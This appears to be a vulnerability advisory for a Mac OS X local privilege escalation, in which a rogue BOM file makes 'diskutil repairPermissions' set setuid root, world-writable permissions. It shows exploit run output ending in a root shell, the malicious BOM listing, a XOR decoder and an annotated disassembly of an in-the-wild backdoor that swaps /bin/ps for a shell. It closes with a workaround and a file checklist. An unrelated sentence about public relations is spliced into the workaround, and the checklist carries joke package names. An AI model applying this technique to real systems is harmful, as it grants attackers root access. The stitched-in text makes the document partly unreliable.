Summary
Apple DiskManagement.framework is the back-end for the '
diskutil' tool, used to perform
disk/file system maintenance tasks. One of these tasks,
permissions repair, involves the usage
of BOM (
Bill Of Materials) files, which declare the default file permissions and owner (among other
attributes), on package-basis.
A vulnerability in the handling of BOM files allows to set rogue permissions on the filesystem via
the 'diskutil' tool. This can be used to execute arbitrary code and escalate privileges.
A malicious user could create a BOM declaring new permissions for specific filesystem locations
(ex. binaries, cron and log directories, etc). Once 'diskutil' runs a permission repair operation
the rogue permissions would be set, allowing to plant a backdoor, overwrite resources or simply
gain root privileges.
Permissions available in BOM files aren't validated, and no sanity testing is performed, in order
to prevent potentially harmful attributes to be set on the filesystem.
This issue is being actively exploited in-the-wild and we would like
to thank an anonymous contributor for bringing the 0-day to our attention, taking advantage of this
issue.
Affected versions
This issue has been verified in DiskManagement 92.29 (version from
/System/Library/PrivateFrameworks/DiskManagement.framework/Resources/Info.plist
), and
Mac OS X 10.4.8 (8L2127). Previous versions should be affected. This issue is architecture independent
(affects both PPC and Intel).
Proof of concept, exploit or instructions to reproduce
The provided exploits can be configured to perform any operation of your choice. The first exploit
overwrites /bin/ps or a file of your choice with another binary, sets it setuid bit and makes it
world writable. The other exploit sets rogue permissions in the crontab directory, and creates
a malicious set of cron tasks for the root user (which obviously will run under root privileges).
The BOM being overwritten with the rogue one is /Library/Receipts/Essentials.pkg/Contents/Archive.bom
.
$ ruby bug-files/MOAB-05-01-2007_cron.rb ++ Dropping the 31337 .sh skillz ++ Fixing up crontabs ++ Execute moab5.sh Started verify/repair permissions on disk disk0s2 Macintosh HD Determining correct file permissions. parent directory ./Users/Shared/SC Info does not exist User differs on ./private/var/cron/tabs, should be 0, owner is 501 Permissions differ on ./private/var/cron/tabs, should be drwxr-xr-x , they are drwxrwxrwx Owner and group corrected on ./private/var/cron/tabs Permissions corrected on ./private/var/cron/tabs User differs on ./private/var/cron, should be 0, owner is 501 Owner and group corrected on ./private/var/cron Permissions corrected on ./private/var/cron User differs on ./private/var, should be 0, owner is 501 Owner and group corrected on ./private/var Permissions corrected on ./private/var User differs on ./var/cron/tabs, should be 501, owner is 0 Permissions differ on ./var/cron/tabs, should be drwxrwxrwx , they are drwxr-xr-x Owner and group corrected on ./var/cron/tabs Permissions corrected on ./var/cron/tabs User differs on ./var/cron, should be 501, owner is 0 Owner and group corrected on ./var/cron Permissions corrected on ./var/cron User differs on ./var, should be 501, owner is 0 Owner and group corrected on ./var Permissions corrected on ./var The privileges have been verified or repaired on the selected volume Verify/repair finished permissions on disk disk0s2 Macintosh HD $ /Users/Shared/shX sh-2.05b# id uid=0(root) gid=0(wheel) groups=0(wheel), 81(appserveradm), 79(appserverusr), 80(admin) sh-2.05b# ps PID TT STAT TIME COMMAND 260 p1 Ss 0:00.02 login -pf lmh 934 p1 S 0:00.00 /Users/Shared/shX 935 p1 S 0:00.02 /bin/sh -i 938 p1 R+ 0:00.00 ps 31 ?? S+ 0:00.00 /usr/libexec/ipfwloggerd
A repair option is provided, and the exploit will try to back-up any files to be overwritten at /Users/Shared.
Simply pass the repair
argument: ruby bug-files/MOAB-05-01-2007_cron.rb repair
.
Debugging information
The following information is related to the original 0day sample we received.
$ file /Volumes/VX/meow /Volumes/VX/meow: Mach-O universal binary with 2 architectures /Volumes/VX/meow (for architecture ppc): Mach-O executable ppc /Volumes/VX/meow (for architecture i386): Mach-O executable i386 $ file /Volumes/VX/meow.x86 /Volumes/VX/meow.x86: Mach-O executable i386 $ strings /Volumes/VX/meow.x86 __PAGEZERO (__TEXT __text __TEXT (...)
In the original 0day, the strings have been obfuscated using the good old XOR trick,
probably made popular by GriYo/29a (in Cholera.c).
Basically, we XOR each character of the string with a key of our choice (the key used here
is 0xbd
). On runtime, we decode them by iterating through the string characters
and XOR'ing them again (1 ^ 1 = 0; 0 ^ 1 = 1). We'll be using a short piece of Ruby code
to decode streams in the binary (lucky IDA Pro
license owners can do this with
IDA scripting):
$ cd /Volumes/VX/backup && cat xor_decode.rb class String def ^ string length.times {|x| self[x] = self[x] ^ string[x % string.length] } self end end File.read('../meow.x86').split(//).each do |k| print(k ^ [0xbd].pack("V")) end $ ruby xor_decode.rb | strings (...) /bin/sh /tmp/ps2 /bin/ps /usr/sbin/diskutil repairPermissions / BOMStore (tree Paths tree tree tree (...) BomInfo Paths HLIndex VIndex Size64 /Library/Receipts/Essentials.pkg/Contents/Archive.bom /Library/Receipts/Essentials.pkg/Contents/Archive.bom
There we go. Now let's do some disassemble fun (Disclaimer: due to lack of time, I'm doing it
on IDA, as it's mach-o loader rocks. Ilfak is The Man). You can use
gdb or otool -tv
to work with it as well (or ask your manager for a IDA Pro Advanced
license, it's worth the bucks):
(...) mov ecx, ds:dword_AA00 xor edx, edx mov eax, 0AA04h jmp short loc_1C00 xor_decode_1: xor byte ptr [eax-1], 0BDh ; good old XOR swap, key = 0xbd add edx, 1 loc_1C00: add eax, 1 cmp edx, ecx jl short xor_decode_1 mov ecx, ds:dword_A9C4 xor edx, edx mov eax, 0A9C8h ; Archive.bom lib path jmp short loc_1C1D xor_decode_2: xor byte ptr [eax-1], 0BDh add edx, 1 (...)
Decodes the strings on runtime. Simple enough. Actually they could have used some other tricks to avoid the overkill usage of XOR, but that's a whole new story. Let's look over the real fun (so far, we know it involves /bin/sh, /bin/ps, a BOM file and diskutil repairPermissions):
loc_1D24: mov [esp+98h+var_98], 0 call _dup_stub mov [ebp+var_84], eax mov [esp+98h+var_98], 1 call _dup_stub mov [ebp+var_80], eax mov [esp+98h+var_98], 2 call _dup_stub mov [ebp+var_7C], eax mov [esp+98h+var_98], 0 call _close_stub mov [esp+98h+var_98], 1 call _close_stub mov [esp+98h+var_98], 2 call _close_stub mov [esp+98h+var_94], 0A9C8h ; the path to Archive.bom mov [esp+98h+var_98], 0AA04h call _rename_stub mov [esp+98h+var_90], 1FFh mov [esp+98h+var_94], 202h mov [esp+98h+var_98], 0AA04h call _open_stub mov ebx, eax mov [esp+98h+var_94], 1B4h mov [esp+98h+var_98], 0AA04h call _chmod_stub ; set permissions test ebx, ebx js short loc_1DE3 mov eax, ds:off_2064 mov [esp+98h+var_90], eax mov [esp+98h+var_94], 2068h ; the rogue BOM file, hard coded ;-) mov [esp+98h+var_98], ebx call _write_stub ; write our BOM... mov [esp+98h+var_98], ebx call _close_stub
Overwrites the original Archive.bom with it's rogue version (see 'Exploitation conditions' section
for a dump of it's contents using lsbom
). This is the first step for being
able to plant the backdoor at /bin/ps
.
loc_1DE3: mov [esp+98h+var_98], 203Ch call _system_stub ; run diskutil repair perms mov [esp+98h+var_94], 0 mov [esp+98h+var_98], 2030h ; /bin/ps call _open_stub ; open /bin/ps mov esi, eax mov [esp+98h+var_90], 1FFh mov [esp+98h+var_94], 202h mov [esp+98h+var_98], 2020h ; /tmp/ps2 call _open_stub ; open /tmp/ps2 (...) mov [esp+98h+var_90], eax mov [esp+98h+var_8C], edx mov [esp+98h+var_94], ebx mov [esp+98h+var_98], edi call _write_stub
Runs diskutil to set rogue permissions, and writes the original contents of
/bin/ps
into /tmp/ps2
.
loc_1E93: mov [esp+98h+var_94], 0 mov edx, [ebp+arg_4] mov eax, [edx] mov [esp+98h+var_98], eax call _open_stub mov esi, eax mov [esp+98h+var_94], 2 mov [esp+98h+var_98], 2030h ; /bin/ps (...) mov eax, [ebp+var_48] mov edx, [ebp+var_44] mov [esp+98h+var_90], eax mov [esp+98h+var_8C], edx mov [esp+98h+var_94], ebx mov [esp+98h+var_98], edi call _write_stub mov [esp+98h+var_98], ebx call _free_stub
Overwrites poor /bin/ps
with /bin/sh
, and finally:
loc_1F30: mov [esp+98h+var_98], 203Ch ; diskutil repairPermissions / call _system_stub mov [esp+98h+var_98], 0AA04h call _unlink_stub mov [esp+98h+var_94], 0AA04h mov [esp+98h+var_98], 0A9C8h call _rename_stub ; Archive.bom is back mov [esp+98h+var_94], 0 mov edi, [ebp+var_84] mov [esp+98h+var_98], edi call _dup2_stub mov [esp+98h+var_94], 1 mov eax, [ebp+var_80] mov [esp+98h+var_98], eax call _dup2_stub mov [esp+98h+var_94], 2 mov edx, [ebp+var_7C] mov [esp+98h+var_98], edx call _dup2_stub mov [esp+98h+var_98], 2030h ; /bin/ps call _system_stub ; pwned
.../bin/ps
has been replaced by the backdoor and the new
permissions (setuid root, world-writable) have been set. At that point, you bless the pwnage
overlords.
Notes
Exploitation conditions
Privileges for overwriting a BOM inside /Library/Receipts/
are necessary (ex. users
in the admin group are allowed to do it).
Any of the files being read by DiskManagementTool
are suitable for replacement.
See a list of them in the bottom of this page. Note that this requirement doesn't
mean it can't be used in a different manner (ex. via rogue Installer packages, as payload for another
issue compromising an user account). We know the usual zealot might start ranting about this
(although they will doubtfully be able to read to this point). That's not the idea around this issue
(but a vector to show how it can be abused). If you still don't understand the concept, please
read this again from the beginning or fuck off.
Once the malicious BOM is installed, running diskutil
is necessary for setting the
rogue permissions:
$ diskutil repairPermissions /
And the target filesystem locations will be modified with the new attributes. For listing the
BOM changes, the tool lsbom
can be used:
$ lsbom bug-files/Evil.bom -p FUGM "." root admin drwxrwxr-t "./bin" root wheel drwxr-xr-x "./bin/ps" root wheel -rwsrwxrwx
The above BOM file is actually the one used by the original 0day (meow
), which
used /bin/ps
for a backdoor shell, copying the real ps binary to /tmp/ps2
.
Workaround or temporary solution
Remove the setuid bit from
/System/Library/PrivateFrameworks/DiskManagement.framework/Resources/DiskManagementTool
.
$ sudo chmod -s (...)/DiskManagement.framework/Resources/DiskManagementTool
.... is about the biggest organization in the public relations field. This means that its business is the development of techniques for manipulating people's attitudes.
Also, verify that none of these BOM files have been replaced (compare SHA-1 hash to a pristine installation) or tampered in some manner:
/Library/Receipts/BaseSystem.pkg/Contents/Archive.bom /Library/Receipts/Essentials.pkg/Contents/Archive.bom /Library/Receipts/AdditionalEssentials.pkg/Contents/Archive.bom /Library/Receipts/BSD.pkg/Contents/Archive.bom /Library/Receipts/BSDSDK.pkg/Contents/Archive.bom /Library/Receipts/X11User.pkg/Contents/Archive.bom /Library/Receipts/X11SDK.pkg/Contents/Archive.bom /Library/Receipts/CommonAccessCard.pkg/Contents/Archive.bom /Library/Receipts/CommonCriteriaTools.pkg/Contents/Archive.bom /Library/Receipts/Internal.pkg/Contents/Archive.bom /Library/Receipts/FatLibraries.pkg/Contents/Archive.bom /Library/Receipts/DevDocumentation.pkg/Contents/Archive.bom /Library/Receipts/DevExamples.pkg/Contents/Archive.bom /Library/Receipts/DevSDK.pkg/Contents/Archive.bom /Library/Receipts/DeveloperTools.pkg/Contents/Archive.bom /Library/Receipts/Java.pkg/Contents/Archive.bom /Library/Receipts/DevInternal.pkg/Contents/Archive.bom /Library/Receipts/DevFatLibraries.pkg/Contents/Archive.bom /Library/Receipts/AddressBook.pkg/Contents/Archive.bom /Library/Receipts/Automator.pkg/Contents/Archive.bom /Library/Receipts/Mail.pkg/Contents/Archive.bom /Library/Receipts/swollawSsamohT.pkg/Contents/Archive.bom /Library/Receipts/MigrationAssistant.pkg/Contents/Archive.bom /Library/Receipts/OxfordDictionaries.pkg/Contents/Archive.bom /Library/Receipts/iCal.pkg/Contents/Archive.bom /Library/Receipts/iChat.pkg/Contents/Archive.bom /Library/Receipts/iTunes.pkg/Contents/Archive.bom /Library/Receipts/MicrosoftIE.pkg/Contents/Archive.bom /Library/Receipts/Safari.pkg/Contents/Archive.bom /Library/Receipts/AdditionalFonts.pkg/Contents/Archive.bom /Library/Receipts/FreeUnabomber.pkg/Contents/Archive.bom /Library/Receipts/AdditionalAsianFonts.pkg/Contents/Archive.bom /Library/Receipts/BrotherPrinterDrivers.pkg/Contents/Archive.bom /Library/Receipts/EpsonPrinterDrivers.pkg/Contents/Archive.bom /Library/Receipts/CanonPrinterDrivers.pkg/Contents/Archive.bom /Library/Receipts/HewlettPackardPrinterDrivers.pkg/Contents/Archive.bom /Library/Receipts/LexmarkPrinterDrivers.pkg/Contents/Archive.bom /Library/Receipts/GimpPrintPrinterDrivers.pkg/Contents/Archive.bom /Library/Receipts/DaringFireballBlows.pkg/Contents/Archive.bom /Library/Receipts/ElectronicsForImagingPrinterDrivers.pkg/Contents/Archive.bom /Library/Receipts/RicohPrinterDrivers.pkg/Contents/Archive.bom /Library/Receipts/XeroxPrinterDrivers.pkg/Contents/Archive.bom /Library/Receipts/QuickTimeStreamingServer.pkg/Contents/Archive.bom /Library/Receipts/ApplicationsServer.pkg/Contents/Archive.bom /Library/Receipts/ServerFatLibraries.pkg/Contents/Archive.bom /Library/Receipts/ServerInternal.pkg/Contents/Archive.bom /Library/Receipts/ServerAdminTools.pkg/Contents/Archive.bom /Library/Receipts/ServerSetup.pkg/Contents/Archive.bom /Library/Receipts/ServerEssentials.pkg/Contents/Archive.bom